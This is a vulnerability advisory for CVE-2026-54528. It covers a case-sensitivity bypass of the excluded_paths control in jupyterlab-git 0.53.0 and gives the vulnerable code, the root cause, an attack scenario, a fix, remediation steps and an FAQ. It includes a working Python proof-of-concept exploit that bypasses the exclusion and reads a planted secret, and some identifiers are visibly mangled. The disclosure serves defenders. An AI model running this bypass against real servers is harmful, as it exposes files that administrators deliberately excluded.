CVE-2026-54528: jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories
Summary
jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlabgit/handlers.py:91) to enforce the admin-configured excludedpaths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.
Vulnerable Code
python jupyterlabgit/handlers.py:84-92 async def prepare(self): """Check if the path should be skipped""" await ensureasync(super().prepare()) path = self.pathkwargs.get("path") if path is not None: excludedpaths = self.git.excludedpaths for excludedpath in excludedpaths: if fnmatch.fnmatchcase(path, excludedpath): # ← always case-sensitive raise tornado.web.HTTPError(404)
Root Cause
fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
python fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check
On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.
Impact
An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excludedpaths by varying the case of the URL path segment. This grants:
- Read file content at any git ref (/content endpoint) - Read working tree files in the excluded directory - View git status, log, diff on the excluded path - Enumerate commits touching excluded files
Attack Scenario
1. Admin configures c.JupyterLabGit.excludedpaths = ["/project/secrets", "/project/secrets/"] 2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked) 3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass) 4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned
Exploit
See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excludedpaths, and demonstrates bypass + exfiltration via HTTP. python import json, os, shutil, subprocess, sys, tempfile, time import urllib.request, urllib.error
from jupyterlabgit.handlers import GitHandler # real import, no mock from jupyterlabgitcore.git import Git import jupyterlabgitcore
PORT = 18895 TOKEN = "xtoken" BASEURL = f"http://127.0.0.1:{PORT}" SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(pathseg, endpoint, body=None): url = f"{BASEURL}/git/{pathseg}{endpoint}" data = json.dumps(body or {}).encode() req = urllib.request.Request(url, data=data, method="POST", headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"}) try: resp = urllib.request.urlopen(req, timeout=10) return resp.status, json.loads(resp.read()) except urllib.error.HTTPError as e: return e.code, e.read().decode()
def main(): basedir = tempfile.mkdtemp(prefix="jlgit") workspace = os.path.join(basedir, "workspace") repodir = os.path.join(workspace, "project") secretdir = os.path.join(repodir, "secrets") os.makedirs(secretdir)
with open(os.path.join(secretdir, "cred.txt"), "w") as f: f.write(SECRET + "\n")
gitenv = {os.environ, "GITAUTHORNAME": "a", "GITAUTHOREMAIL": "a@x", "GITCOMMITTERNAME": "a", "GITCOMMITTEREMAIL": "a@x"} subprocess.run(["git", "init"], cwd=repodir, captureoutput=True, check=True) subprocess.run(["git", "add", "."], cwd=repodir, captureoutput=True, check=True) subprocess.run(["git", "commit", "-m", "init"], cwd=repodir, captureoutput=True, check=True, env=gitenv)
configpath = os.path.join(basedir, "jupyterserverconfig.py") with open(configpath, "w") as f: f.write(f'c.ServerApp.rootdir = "{workspace}"\n') f.write(f'c.ServerApp.token = "{TOKEN}"\n') f.write(f'c.ServerApp.openbrowser = False\n') f.write(f'c.ServerApp.port = {PORT}\n') f.write(f'c.ServerApp.ip = "127.0.0.1"\n') f.write(f'c.ServerApp.disablecheckxsrf = True\n') f.write(f'c.JupyterLabGit.excludedpaths = ["/project/secrets", "/project/secrets/"]\n')
env = os.environ.copy() env["JUPYTERCONFIGDIR"] = basedir env["JUPYTERDATADIR"] = basedir proc = subprocess.Popen( [sys.executable, "-m", "jupyterserver", f"--config={configpath}", "--ServerApp.jpserverextensions={'jupyterlabgit': True}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=basedir)
for in range(30): try: req = urllib.request.Request(f"{BASEURL}/api/status", headers={"Authorization": f"token {TOKEN}"}) if urllib.request.urlopen(req, timeout=2).status == 200: break except (urllib.error.URLError, OSError): pass time.sleep(0.5) else: proc.kill() shutil.rmtree(basedir, ignoreerrors=True) sys.exit("server failed to start")
try: # exclusion works code, = post("project/secrets", "/status") blocked = code == 404
# bypass code, = post("project/Secrets", "/status") bypassed = code == 200
# exfiltrate code, body = post("project/Secrets", "/content", {"filename": "./cred.txt", "reference": {"git": "HEAD"}}) content = body.get("content", "") if isinstance(body, dict) else "" exfiltrated = SECRET in content
ok = blocked and bypassed and exfiltrated print(f"exclusion enforced (lowercase): {blocked}") print(f"bypass (case-varied): {bypassed}") print(f"secret exfiltrated: {exfiltrated}") print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}") return ok
finally: proc.terminate() proc.wait(timeout=5) shutil.rmtree(basedir, ignoreerrors=True)
if name == "main": sys.exit(0 if main() else 1)
bash pip install 'jupyterlab-git==0.53.0' python poc.py <img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />
Fix
python if fnmatch.fnmatch(path.lower(), excludedpath.lower()): raise tornado.web.HTTPError(404)
Or apply os.path.normcase() to both operands before comparison.
Other sources
JupyterLab Git is a Git extension for JupyterLab. Prior to 0.54.0, jupyterlab-git uses fnmatch.fnmatchcase() in GitHandler.prepare() in jupyterlabgit/handlers.py to enforce excludedpaths, allowing an authenticated user on a case-insensitive filesystem to vary URL path casing and read excluded directories. This issue is fixed in version 0.54.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/jupyterlab-gitto a version that resolves this vulnerability.Fixed in 0.54.0 - Upgrade
Upgrade
jupyterlab-gitto a version that resolves this vulnerability.Fixed in 0.54.0 - Upgrade
Upgrade
jupyterlab-gitto a version that resolves this vulnerability.Fixed in 0.54.0Patch 0.54.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54528?
The severity of CVE-2026-54528 is rated high with a score of 7.1.
What vulnerability does CVE-2026-54528 expose regarding file path security?
CVE-2026-54528 is due to the use of case-sensitive path matching which can bypass admin-configured excluded paths.
What versions of jupyterlab-git are affected by CVE-2026-54528?
CVE-2026-54528 affects jupyterlab-git version 0.53.0 and possibly earlier versions.
How do I mitigate the risks associated with CVE-2026-54528?
You can mitigate the risks of CVE-2026-54528 by ensuring user access rights and reviewing the configuration of excluded_paths.
When was CVE-2026-54528 published?
CVE-2026-54528 was published on June 19, 2026.